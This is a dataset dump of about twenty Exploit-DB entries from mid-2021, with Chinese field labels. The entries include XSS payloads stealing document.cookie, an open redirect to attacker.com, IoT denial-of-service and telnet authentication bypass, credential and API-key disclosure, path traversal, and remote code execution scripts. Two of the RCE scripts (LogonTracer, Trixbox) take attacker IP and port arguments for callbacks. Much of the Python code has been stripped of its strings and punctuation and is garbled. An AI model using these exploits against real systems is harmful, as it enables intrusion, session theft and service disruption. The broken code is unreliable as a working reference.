QLWD/code_shield huggingface dataset:
标题: 4Images 1.8 - 'redirect' Reflected XSS EDB-ID: 49945 CVE: 2021-27308 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-03 漏洞利用脚本: # Exploit Title: 4Images 1.8 - 'redirect' Reflected XSS
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.4homepages.de/
# Software Link: https://www.4homepages.de/?download=4images1.8.zip&code=81da0c7b5208e172ea83d879634f51d6
# Version: 4Images Gallery 1.8
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-27308

-Description:
A cross-site scripting (XSS) vulnerability in the admin login panel in 4images version 1.8 allows remote attackers to inject JavaScript via the "redirect" parameter.


-Steps to reproduce:
1- Goto 4images admin panel page (demo instance: https://localhost/4images/admin/index.php)
2- Enter the credentials , Turn on the intercept and click on "Login"
3- copy paste the XSS payload after redirect=./../admin/index.php%3Fsessionid=xxxxxPASTEPAYLOADHERE
4-Forward the request and you can see XSS is triggered. URL: https://www.exploit-db.com/exploits/49945
标题: Monstra CMS 3.0.4 - Remote Code Execution (Authenticated) EDB-ID: 49949 CVE: 2018-6383 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-04 漏洞利用脚本: # Exploit Title: Monstra CMS 3.0.4 - Remote Code Execution (Authenticated)
# Date: 03.06.2021
# Exploit Author: Ron Jost (hacker5preme)
# Vendor Homepage: https://monstra.org/
# Software Link: https://monstra.org/monstra-3.0.4.zip
# Version: 3.0.4
# Tested on: Ubuntu 20.04
# CVE: CVE-2018-6383
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-6383-Exploit

'''
Description:
Monstra CMS through 3.0.4 has an incomplete "forbidden types" list that excludes .php (and similar) file extensions
but not the .pht or .phar extension, which allows remote authenticated Admins or Editors to execute arbitrary PHP code
 by uploading a file, a different vulnerability than CVE-2017-18048.
'''



 argparse
 requests



my_parser  argparseArgumentParserdescription
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsT
target_port  argsP
Monstracms_path  argsU
username  argsu
password  argsp




session  requestsSession
url    target_ip    target_port  Monstracms_path  
cookies  sessiongeturlcookiesget_dict
value  cookies
cookies  
     
     



headers  
     
     
     
     
     
       target_ip
     
       target_ip    target_port  Monstracms_path  
     


body  
     username
     password
     
x  requestsposturl headersheaders cookiescookies databody


url    target_ip    target_port  Monstracms_path  


header  
     
     
     
     
     
       target_ip
     
       target_ip  Monstracms_path  
     



burp0_data  


x  requestsposturl headersheader cookiescookies databurp0_data




  target_ip    target_port  Monstracms_path URL: https://www.exploit-db.com/exploits/49949
标题: FUDForum 3.1.0 - 'srch' Reflected XSS EDB-ID: 49942 CVE: 2021-27519 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-03 漏洞利用脚本: # Exploit Title: FUDForum 3.1.0 - 'srch' Reflected XSS
# Exploit Author: Piyush Patil
# Vendor Homepage: http://fudforum.org/
# Software Link: https://sourceforge.net/projects/fudforum/files/FUDforum_3.1.0.zip/download
# Version: FUDForum 3.1.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-27519

-Description:
A cross-site scripting (XSS) issue in FUDForum 3.1.0 allows remote attackers to inject JavaScript via index.php in the "srch" parameter.


-Payload used:
x" onmouseover=alert(1) x="

-Steps to reproduce:
1- goto https://localhost/fudforum/index.php?t=search&
2- In "forum search" option, paste XSS payload
3- Hover your mouse to "x" and XSS will get triggered URL: https://www.exploit-db.com/exploits/49942
标题: FUDForum 3.1.0 - 'author' Reflected XSS EDB-ID: 49943 CVE: 2021-27520 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-03 漏洞利用脚本: # Exploit Title: FUDForum 3.1.0 - 'author' Reflected XSS
# Exploit Author: Piyush Patil
# Vendor Homepage: http://fudforum.org/
# Software Link: https://sourceforge.net/projects/fudforum/files/FUDforum_3.1.0.zip/download
# Version: FUDForum 3.1.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-27520

-Description:
A cross-site scripting (XSS) issue in FUDForum 3.1.0 allows remote attackers to inject JavaScript via index.php in the "author" parameter.


-Payload used:
y" onmouseover=alert(2) y="

-Steps to reproduce:
1- goto https://localhost/fudforum/index.php?t=search&
2- In the "Filter by User" search option, paste XSS payload
3- Hover your mouse to "y" and XSS will get triggered URL: https://www.exploit-db.com/exploits/49943
标题: CHIYU IoT Devices - Denial of Service (DoS) EDB-ID: 49937 CVE: 2021-31642 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-06-03 漏洞利用脚本: # Exploit Title: CHIYU IoT Devices - Denial of Service (DoS)
# Date: 01/06/2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC   - all firmware versions < June 2021
# Tested on: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC
# CVE: CVE-2021-31642
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

Description: A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC. The vulnerability can be explored by sending an unexpected integer (> 32 bits) on the page parameter that will crash the web portal and making it unavailable until a reboot of the device.
CVE ID: CVE-2021-31642
CVSS: Medium- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31642

Affected parameter: page=Component: if.cgi
Payload:
if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000

====HTTP request======
GET
/if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://127.0.0.1/AccLog.htm
Cookie: fresh=
Upgrade-Insecure-Requests: 1



Steps to reproduce:
  1. Navigate to the vulnerable device
  2. Make a GET request to the CGI component (if.cgi)
  3. Append the payload at the end of the vulnerable parameter (page)
  4. Submit the request and observe payload execution


 Mitigation: The latest version of the CHIYU firmware should be installed
to mitigate this vulnerability. URL: https://www.exploit-db.com/exploits/49937
标题: CHIYU IoT Devices - 'Telnet' Authentication Bypass EDB-ID: 49936 CVE: 2021-31251 类型: REMOTE 平台: HARDWARE 发布日期: 2021-06-03 漏洞利用脚本: # Exploit Title: CHIYU IoT Devices - 'Telnet' Authentication Bypass
# Date: 01/06/2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version:  BF-430, BF-431, BF-450M, and SEMAC   - all firmware versions < June 2021
# Tested on:  BF-430, BF-431, BF-450M, and SEMAC
# CVE: CVE-2021-31251
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

"""
Description: Several IoT devices from the CHIYU Technology firm are
vulnerable to a flaw that permits bypassing the telnet authentication
process due to an overflow during the negotiation of the telnet protocol.
Telnet authentication is bypassed by supplying a specially malformed
request, and an attacker may force the remote telnet server to believe that
the user has already authenticated. Several models are vulnerable,
including BF-430, BF-431, BF-450M, and SEMAC with the most recent firmware
versions.
CVE ID: CVE-2021-31251
CVSS: Critical - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31251
"""





 socket
 time
 sys

HOST  sysargv
PORT  

socketsetdefaulttimeout
s  socketsocketsocketAF_INET socketSOCK_STREAM


    connect  sconnect_exHOST PORT
    
        
        timesleep
        ssendb
        srecvstrip
        ssendb
        srecvstrip
        ssendb
        result  srecvstrip
         result  b
            ssendb
            result  srecvstrip

         connect       result
             b  result
                
                 
                        cmd  
                        body  cmd
                        ssendbodyencode 
                        result  srecvdecode 

                          result
                            " CHIYU device  available 
again  terminating"
                            sclose
                            
                        resultstrip
                        b  
                        ssendbencode 
                        result  srecvdecode
                        resultstrip
     KeyboardInterrupt
        
        sclose
     EOFError
        
        sclose

 socketerror URL: https://www.exploit-db.com/exploits/49936
标题: Seo Panel 4.8.0 - 'from_time' Reflected XSS EDB-ID: 49935 CVE: 2021-28420 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-03 漏洞利用脚本: # Exploit Title: Seo Panel 4.8.0 - 'from_time' Reflected XSS
# Date: 23-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Version: Seo Panel 4.8.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-28420

-Description:
A cross-site scripting (XSS) issue in Seo Panel 4.8.0 allows remote
attackers to inject JavaScript via alerts.php and the "from_time" parameter.

-Payload used:
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22

-Steps to reproduce:
1- Login to SEO admin panel
2- Visit: http://localhost/alerts.php?alert_category=general&from_time=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&keyword=&to_time=2021-03-11
3- Hover your mouse to "Period" field URL: https://www.exploit-db.com/exploits/49935
标题: Seo Panel 4.8.0 - 'category' Reflected XSS EDB-ID: 49932 CVE: 2021-28418 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-02 漏洞利用脚本: # Exploit Title: Seo Panel 4.8.0 - 'category' Reflected XSS
# Date: 22-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0
# Version: Seo Panel 4.8.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-28418


-Description:
A cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the "redirect" parameter.

-Payload used:
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22

-Steps to reproduce:
1- Login to SEO admin panel
2- Visit:
http://localhost/settings.php?category=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22
3- Hover your mouse to "Cancel" field URL: https://www.exploit-db.com/exploits/49932
标题: Veyon 4.4.1 - 'VeyonService' Unquoted Service Path EDB-ID: 49925 CVE: 2020-15261 类型: LOCAL 平台: WINDOWS 发布日期: 2021-06-01 漏洞利用脚本: # Exploit Title: Veyon 4.4.1 - 'VeyonService' Unquoted Service Path
# Discovery by: Víctor García
# Discovery Date: 2020-03-23
# Vendor Homepage: https://veyon.io/
# Software Link: https://github.com/veyon/veyon/releases/download/v4.4.1/veyon-4.4.1.0-win64-setup.exe
# Tested Version: 4.4.1
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Pro x64
# CVE: CVE-2020-15261

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i
"auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
Veyon Service     VeyonService     C:\Program Files\Veyon\veyon-service.exe


# Service info:

C:\>sc qc VeyonService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VeyonService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Veyon\veyon-service.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Veyon Service
        DEPENDENCIES       : Tcpip
                           : RpcSs
        SERVICE_START_NAME : LocalSystem


# Exploit:

# A successful attempt would require the local user to be able to insert their code in the
# system root path undetected by the OS or other security applications where it could
# potentially be executed during application startup or reboot. If successful, the local
# user's code would execute with the elevated privileges of the application. URL: https://www.exploit-db.com/exploits/49925
标题: Products.PluggableAuthService 2.6.0 - Open Redirect EDB-ID: 49930 CVE: 2021-21337 类型: WEBAPPS 平台: PYTHON 发布日期: 2021-06-02 漏洞利用脚本: # Exploit Title: Products.PluggableAuthService 2.6.0 - Open Redirect
# Exploit Author: Piyush Patil
# Affected Component: Pluggable Zope authentication/authorization framework
# Component Link: https://pypi.org/project/Products.PluggableAuthService/
# Version: < 2.6.1
# CVE: CVE-2021-21337
# Reference: https://github.com/zopefoundation/Products.PluggableAuthService/security/advisories/GHSA-p44j-xrqg-4xrr


--------------------------Proof of Concept-----------------------

1- Goto https://localhost/login
2- Turn on intercept and click on the login
3- Change "came_from" parameter value to https://attacker.com
4- User will be redirected to an attacker-controlled website.

Fix: pip install "Products.PluggableAuthService>=2.6.1" URL: https://www.exploit-db.com/exploits/49930
标题: GetSimple CMS 3.3.4 - Information Disclosure EDB-ID: 49928 CVE: 2014-8722 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-02 漏洞利用脚本: # Exploit Title: GetSimple CMS 3.3.4 - Information Disclosure
# Date 01.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: http://get-simple.info/
# Software Link: https://github.com/GetSimpleCMS/GetSimpleCMS/archive/refs/tags/v3.3.4.zip
# Version: 3.3.4
# CVE: CVE-2014-8722
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2014-8722-Exploit


'''
Description:
GetSimple CMS 3.3.4 allows remote attackers to obtain sensitive information via a direct request to
(1) data/users/<username>.xml,
(2) backups/users/<username>.xml.bak,
(3) data/other/authorization.xml, or
(4) data/other/appid.xml.
'''



 sys
 requests


target_ip  sysargv
target_port  sysargv
cmspath  sysargv

username  
 username  
    
    username  
    username_string  

    
    username  
    



url    target_ip    target_port  cmspath  
header  
         
         
         
         
         
         
         

x  requestsgeturl headersheadertext
start  xfind  
end  xfind
api_key  xstartend



  api_key


 username
    
    url    target_ip    target_port  cmspath    username_string  
    header  
             
             
             
             
             
             
             
    
    x  requestsgeturl headersheadertext
    start   xxfind
    passwordhash  startstartfind  startfind
      passwordhash

    start  xxfind
    email  startstartfind    startfind
      email URL: https://www.exploit-db.com/exploits/49928
标题: Seo Panel 4.8.0 - 'search_name' Reflected XSS EDB-ID: 49931 CVE: 2021-28417 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-02 漏洞利用脚本: # Exploit Title: Seo Panel 4.8.0 - 'search_name' Reflected XSS
# Date: 21-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0
# Version: Seo Panel 4.8.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-28417


-Description:
 A cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the "redirect" parameter.

-Payload used:
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22

-Steps to reproduce:
1- Login to SEO admin panel
2- Add below line at the end:
http://localhost/archive.php?from_time=2021-03-08&order_col=name&order_val=DESC&report_type=website-search-reports&search_name=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&sec=viewWebsiteSearchSummary&to_time=2021-03-09&website_id=http%3a%2f%2fwww.example.com
3- Hover your mouse near to "CTR" field URL: https://www.exploit-db.com/exploits/49931
标题: Apache Airflow 1.10.10 - 'Example Dag' Remote Code Execution EDB-ID: 49927 CVE: 2020-13927 2020-11978 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-06-02 漏洞利用脚本: # Exploit Title: Apache Airflow 1.10.10 - 'Example Dag' Remote Code Execution 
# Date: 2021-06-02
# Exploit Author: Pepe Berba
# Vendor Homepage: https://airflow.apache.org/
# Software Link: https://airflow.apache.org/docs/apache-airflow/stable/installation.html
# Version: <= 1.10.10
# Tested on: Docker apache/airflow:1.10 .10 (https://github.com/pberba/CVE-2020-11978/blob/main/docker-compose.yml)
# CVE : CVE-2020-11978
# 
# This is a proof of concept for CVE-2020-11978, a RCE vulnerability in one of the example DAGs shipped with airflow
# This combines with CVE-2020-13927 where unauthenticated requests to Airflow's Experimental API were allowded by default.













 argparse
 requests
 sys
 time

 url cmd
 
 check  requestsgeturl

  checkstatus_code  
   
 
  checkstatus_code
  
  sysexit

 check_task  requestsgeturl
  check_taskstatus_code  
  
  
  sysexit
    check_taskjson
  
  
  sysexit
 

 unpause  requestsgeturl
  unpausestatus_code  
  
  sysexit
 
  

 
 res  requestspost
     url
     json
          
                  cmd
         
     
 

  resstatus_code  
  
  resjson
 
  
  sysexit

 wait_url  (
  url  url
  execution_dateresjson
 

 start_time  timetime
 
 
  
  timesleep
  res  requestsgetwait_url
  status  resjson
   status  
   
   status  
   
   status  
   
   
   status  
   status
  
   status
   sysexit

  


 
 arg_parser  argparseArgumentParser
 arg_parseradd_argument  
 arg_parseradd_argument 
 args  arg_parserparse_args

 create_dag
  argsurl 
  argscommand
 

 __name__  
 main URL: https://www.exploit-db.com/exploits/49927
标题: LogonTracer 1.2.0 - Remote Code Execution (Unauthenticated) EDB-ID: 49918 CVE: 2018-16167 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-06-01 漏洞利用脚本: # Exploit Title: LogonTracer 1.2.0 - Remote Code Execution (Unauthenticated)
# Date: 29/05/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://www.jpcert.or.jp/
# Software Link: https://github.com/JPCERTCC/LogonTracer/releases/tag/v1.2.0
# Version: 1.2.0 and earlier
# Tested on: Version 1.2.0 on Debian GNU/Linux 8 (jessie)
# CVE : CVE-2018-16167

import requests
import argparse

parser = argparse.ArgumentParser(description='Send a payload to a LogonTracer 1.2.0 (or earlier) server.')
parseradd_argument  
parseradd_argument  
parseradd_argument  

args  parserparse_args

ATTACKER_IP  argsaip
ATTACKER_PORT  argsaport
PAYLOAD  f

VICTIM_URL  argsvictimurl
VICTIM_ENDPOINT  

DATA  
     
     f



requestspostf dataDATA URL: https://www.exploit-db.com/exploits/49918
标题: Trixbox 2.8.0.4 - 'lang' Path Traversal EDB-ID: 49914 CVE: 2017-14537 类型: WEBAPPS 平台: PHP 发布日期: 2021-05-28 漏洞利用脚本: # Exploit Title: Trixbox 2.8.0.4 - 'lang' Path Traversal
# Date: 27.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/13/trixbox-multiple-path-traversal-vulnerabilities-cve-2017-14537/
# Credits to: Sachin Wagh
# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/
# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download
# Version: 2.8.0.4
# Tested on: Xubuntu 20.04
# CVE: CVE-2017-14537

'''
Description:
trixbox 2.8.0.4 has path traversal via the xajaxargs array parameter to /maint/index.php?packages or the
lang parameter to /maint/modules/home/index.php.
'''



 requests
 sys
 urllibparse



target_ip  sysargv
target_port  sysargv




header  
     target_ip
     
     
     
     
     
     
     
     



base_link    target_ip    target_port
base_link_addon_1  
base_link_addon_3  

base_link_addon_2  




 base_link_addon_2  
    base_link_addon_2_coded  urllibparsequotebase_link_addon_2 safe
    exploit_link  base_link  base_link_addon_1  base_link_addon_2_coded  base_link_addon_3
    
    exploit  requestspostexploit_link headersheader
      base_link_addon_2  
     data  exploititer_lines
        data  datadecode
         data  
            data
        
            
    
    base_link_addon_2 URL: https://www.exploit-db.com/exploits/49914
标题: WordPress Plugin LifterLMS 4.21.0 - Stored Cross-Site Scripting (XSS) EDB-ID: 49912 CVE: 2021-24308 类型: WEBAPPS 平台: PHP 发布日期: 2021-05-28 漏洞利用脚本: # Exploit Title: WordPress Plugin LifterLMS 4.21.0 - Stored Cross-Site Scripting (XSS) 
# Date: 2021-05-10
# Exploit Author: Captain_hook
# Vendor Homepage: https://lifterlms.com/
# Software Link: https://github.com/gocodebox/lifterlms/releases/tag/4.21.0
# Version: LifterLMS < 4.21.1
# Tested on: ANY
# CVE : CVE-2021-24308

#Summary:

The 'State' field of the Edit profile page of the LMS by LifterLMS â€“ Online Course, Membership & Learning Management System Plugin for WordPress plugin before 4.21.1 is not properly sanitised when output in the About section of the profile page, leading to a stored Cross-Site Scripting issue. This could allow low privilege users (such as students) to elevate their privilege via an XSS attack when an admin will view their profile.

#Proof_of_Concept:

1- As a Lowest Privilege user go to the edit account page of the LMS
(e.g https://example.com/my-courses/edit-account/)

2- Put Your XSS payload in State parameter and save your edits, such
as "><script>alert(/XSS/)</script>

3- The XSS will be stored and triggered in the about section of the profile: (e.g  https://example.com/directory/[user_name]/) (Note): The XSS will also be triggered in the admin dashboard when viewing the user details, for example https://example.com/wp-admin/admin.php?page=llms-reporting&tab=students&stab=information&student_id=2

Refernces:

https://github.com/gocodebox/lifterlms/releases/tag/4.21.0 URL: https://www.exploit-db.com/exploits/49912
标题: Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated) EDB-ID: 49913 CVE: 2017-14535 类型: WEBAPPS 平台: PHP 发布日期: 2021-05-28 漏洞利用脚本: # Exploit Title: Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated)
# Date: 27.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/
# Credits to: Sachin Wagh
# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/
# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download
# Version: 2.8.0.4
# Tested on: Xubuntu 20.04
# CVE: CVE-2017-14535






 requests
 sys
 time



target_ip  sysargv
target_port  sysargv
listen_ip  sysargv
listen_port  sysargv




header  
     target_ip
     
     
     
     
     
     
     
     



link_p1    target_ip    target_port  
link_p2    listen_ip    listen_port  
link  link_p1  link_p2





  listen_port

timesleep
Ready  
 Ready  
    
    
    x  requestspostlink headersheader URL: https://www.exploit-db.com/exploits/49913
标题: PHPFusion 9.03.50 - Remote Code Execution EDB-ID: 49911 CVE: 2020-24949 类型: WEBAPPS 平台: PHP 发布日期: 2021-05-28 漏洞利用脚本: # Exploit Title: PHPFusion 9.03.50 - Remote Code Execution
# Date: 20/05/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://www.php-fusion.co.uk/home.php
# Software Link: https://www.php-fusion.co.uk/infusions/downloads/downloads.php?cat_id=30&download_id=606
# Version: 9.03.50
# Tested on: Docker + Debian GNU/Linux 8 (jessie)
# CVE : CVE-2020-24949
# Found by: ThienNV

import requests
import base64
import argparse


PAYLOAD   
REQUEST_PAYLOAD  


parser  argparseArgumentParserdescription
parseradd_argument  
parseradd_argument  action

args  parserparse_args

 argstargetstartswith  argstargetstartswith
    target  argstarget

    
    exit


PAYLOAD_B64  base64b64encodePAYLOADencodedecode
   PAYLOAD_B64    PAYLOAD_B64
    
    exit


 argsno_verify
    page_data  requestsgettarget  
        page_datatext
        
        
        exit



requestsgettarget  REQUEST_PAYLOADPAYLOAD_B64 URL: https://www.exploit-db.com/exploits/49911